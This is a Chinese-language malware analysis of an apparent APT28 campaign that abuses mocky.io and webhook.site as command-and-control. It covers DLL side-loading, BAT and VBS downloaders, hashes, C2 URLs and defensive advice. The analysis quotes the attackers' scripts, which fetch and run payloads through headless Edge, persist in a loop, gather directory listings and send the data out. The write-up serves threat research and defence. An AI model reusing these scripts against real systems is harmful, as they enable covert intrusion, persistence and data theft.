APT28近期活动,利用非自有域名作为C2下发恶意载荷,病毒样本分析
字数 3178 2025-08-22 12:23:13
APT28利用非自有域名作为C2的恶意样本分析教学文档
一、背景概述
APT28(又称Fancy Bear)是一个据信有俄罗斯国家背景的黑客组织,以其高级持续性威胁(APT)攻击而闻名。本教学文档将详细分析APT28近期使用的一种新型攻击手法,该手法利用非自有第三方合法资源托管恶意载荷,通过多阶段执行实现攻击目的。
二、攻击流程总览
该攻击采用多阶段执行策略,主要流程如下:
- 第一阶段:通过钓鱼邮件诱导受害者点击链接,从合法服务下载恶意载荷
- 第二阶段:使用"白加黑"技术加载恶意DLL,执行BAT下载者
- 第三阶段:周期性下载并执行恶意CMD脚本
- 第四阶段:信息收集与C2通信
三、详细攻击分析
3.1 第一阶段:利用非自有域名下发恶意载荷
攻击手法:
- 攻击者发送钓鱼邮件,内含指向合法服务"run.mocky.io"的链接
- 该链接实际上是一个API端点,会重定向到"webhook.site"下载恶意ZIP文件
技术细节:
- 使用"run.mocky.io"(API测试服务)作为初始C2
- 重定向至"webhook.site"(Webhook测试工具)下载恶意ZIP
- 示例恶意链接:
hxxps://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=2d07e34c-3dd3-45e8-865c-3888a65ab885 hxxps://webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885
防御意义:
- 传统安全产品可能不会阻止对这类合法服务的访问
- 需要关注合法服务被滥用的异常行为模式
3.2 第二阶段:白加黑与侧加载技术
文件结构:
- 下载的ZIP文件名为"IMG-{随机数}.zip"
- 内含一个".jpg"文件(实际是另一个压缩包)
- 二次解压后得到三个文件:
IMG-{随机数}.jpg.exe:伪装成图片的计算器程序WindowsCodecs.dll:恶意DLLzdesdyf.bat:下载者脚本
执行流程:
- 用户运行
IMG-{随机数}.jpg.exe - 程序尝试加载
WindowsCodecs.dll的导出函数WICCreateImagingFactory_Proxy - 实际执行的是DLL的DllMain函数,加载同路径的BAT文件
- BAT脚本执行以下操作:
- 启动Microsoft Edge下载后续载荷
- 移动并重命名文件至
%programdata% - 执行下载的脚本
- 删除自身痕迹
BAT脚本关键代码:
@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
start msedge data:text/html;base64,<base64编码的恶意页面>
timeout 15 > nul
move %userprofile%\downloads\IMG-7214532.jpg %programdata%\IMG-7214532.cmd > nul
type nul > %userprofile%\downloads\IMG-7214532.jpg
call %programdata%\IMG-7214532.cmd
del /q /f /a %0 & exit
技术特点:
- 使用白加黑技术(合法EXE+恶意DLL)
- 利用DLL侧加载执行恶意代码
- 通过Base64编码隐藏恶意URL
- 使用系统合法路径存放恶意文件
3.3 第三阶段:周期性下载者
执行流程:
- 创建VBS脚本实现静默执行
- 创建BAT脚本实现以下功能:
- 每5分钟循环执行
- 终止Edge进程
- 使用Edge的无头模式下载恶意CSS文件
- 移动并重命名为CMD文件执行
- 清理痕迹
关键代码:
@echo off & (
echo On Error Resume Next
echo CreateObject("WScript.shell").Run "^""%%programdata%%\\dee016bf-21a2-45dd-86b4-6099747794c4.bat^"^^"", 0, False
echo Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs" & ...
echo del %%0 ^& for /l %%%%n in () do (
chcp 65001 ^& timeout 300 ^& taskkill /im msedge.exe /f ^& timeout 5 ^&
del /q /f "%%userprofile%%\Downloads\*.css" ^&
start "" msedge --headless=new --disable-gpu data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cHM6Ly93ZWJob29rLnNpdGUvZGVlMDE2YmYtMjFhMi00NWRkLTg2YjQtNjA5OTc0Nzc5NGM0Iik7PC9zY3JpcHQ+ ^&
timeout 30 ^& taskkill /im msedge.exe /f ^&
move /y "%%userprofile%%\Downloads\*.css" "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^&
call "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^&
del /q /f "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd"
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.bat" & ...
技术特点:
- 使用无限循环实现持久化
- 利用Edge无头模式隐蔽下载
- 定期更新恶意脚本
- 通过VBS实现静默执行
3.4 第四阶段:信息收集与C2通信
执行流程:
- 收集系统信息:
- 用户目录内容
- Program Files目录
- 出口IP地址(通过ipinfo.io)
- 将信息整合为HTML文件
- 通过XMLHttpRequest发送至C2
- 清理痕迹
关键代码:
@echo off
chcp 65001
taskkill /im msedge.exe /f
(dir "%userprofile%\.." & dir "%userprofile%\Desktop" & dir "%userprofile%\Downloads" &
dir "%userprofile%\Documents" & dir "%ProgramFiles%" & dir "%ProgramFiles(x86)%" &
curl -k https://ipinfo.io) > "%programdata%\bwjxyeysed.diff"
copy "%programdata%\*.tab" + "%programdata%\*.diff" + "%programdata%\*.tsv" "%programdata%\nydgflyhuv.html"
(echo %programdata%) > "%programdata%\gjvrexfiac"
set /p gjvrexfiac=<"%programdata%\gjvrexfiac"
timeout 5
start "" msedge --headless=new --disable-gpu "file:///%gjvrexfiac%/nydgflyhuv.html"
timeout 30
taskkill /im msedge.exe /f
del /q /f "%userprofile%\Downloads\*.css"
del /q /f "%programdata%\gjvrexfiac"
del /q /f "%programdata%\*.diff"
del /q /f "%programdata%\nydgflyhuv.html"
C2通信:
- 使用XMLHttpRequest发送数据
- C2地址为"https://webhook.site/{唯一标识符}"
- 数据以HTML文件形式发送
四、IOC(入侵指标)
文件哈希
-
ZIP文件:
- 745cfce3e0242d0d5f6765b1f74608e9086d7793b45dbd1747f2d2778dec6587 (IMG-0601181.zip)
- 4f0f9a2076b0fd14124bed08f5fc939bada528e7a8163912a4ad1ec7687029a3 (IMG-89848928.zip)
- 5883842c87ca6b59236257e15db983cc88d4948cf0d649455f8f393899673fcc (IMG-3907894910429.zip)
-
DLL文件:
- 598a8b918d0d2908a756475aee1e9ffaa57b110d8519014a075668b8b1182990 (WindowsCodecs.dll)
- 0873a19d278a7a8e8cff2dc2e7edbfddc650d8ea961162a6eb3cb3ea14665983 (WindowsCodecs.dll)
- ae4e94c5027998f4ce17343e50b935f448e099a89266f9564bd53a069da2ca9a (WindowsCodecs.dll)
-
BAT脚本:
- ef67f20ff9184cab46408b27eaf12a5941c9f130be49f1c6ac421b546dac2bac (hzjtajjklr.bat)
- d714fff643d53fdd56cf9dcb3bd265e1920c4b5f34a4668b584a0619703d8a3e (jxfgibtfxiewsdvmeg.bat)
- e826dc4f5c16a1802517881f32f26061a4cbc508c3f7944540a209217078aa11 (bmpxjphdzwommblflx.bat)
-
JPG文件:
- 96766dfbf6c661ee3e9f750696803824a04e58402c66f208835a7acebfab1cfc (IMG-0601181.jpg)
- b3e60909036c4110eb7e3d8c0b1db5be5c164fcc32056885e4f1afe561341afd (IMG-89848928.jpg)
- 750948489ed5b92750dc254c47b02eb595c6ffcefded6f9d14c3482a96a6e793 (IMG-3907894910429.jpg)
-
CSS文件:
- 939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 (多个变种使用相同哈希)
C2域名
- run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903
- webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885
- webhook.site/4ba464d9-0675-4a7a-9966-8f84e93290ba
- webhook.site/0ef0dcf7-f258-4d02-b274-cbf62a2000cf
五、防御建议
-
邮件安全:
- 实施高级邮件过滤解决方案
- 对包含短链接或API端点的URL保持警惕
- 教育用户识别钓鱼邮件
-
端点防护:
- 监控异常进程行为(如计算器程序加载DLL)
- 检测白加黑和侧加载技术
- 限制脚本执行权限
-
网络监控:
- 监控对webhook.site、mocky.io等服务的异常访问
- 检测周期性网络通信模式
- 拦截可疑的Base64编码URL
-
日志分析:
- 收集和分析进程创建日志
- 监控%programdata%目录的异常文件操作
- 跟踪Edge无头模式的执行
-
纵深防御:
- 实施应用白名单
- 限制PowerShell和CMD脚本执行
- 部署EDR解决方案进行行为监控
六、总结
APT28此次攻击展示了高级攻击者的战术演进:
- 利用合法第三方服务托管恶意载荷,绕过传统防御
- 采用多阶段执行降低单点检测风险
- 使用白加黑和侧加载技术绕过应用程序控制
- 通过周期性更新实现持久化
- 精心设计的痕迹清理机制
防御此类攻击需要结合技术控制、用户教育和持续监控的多层防御策略。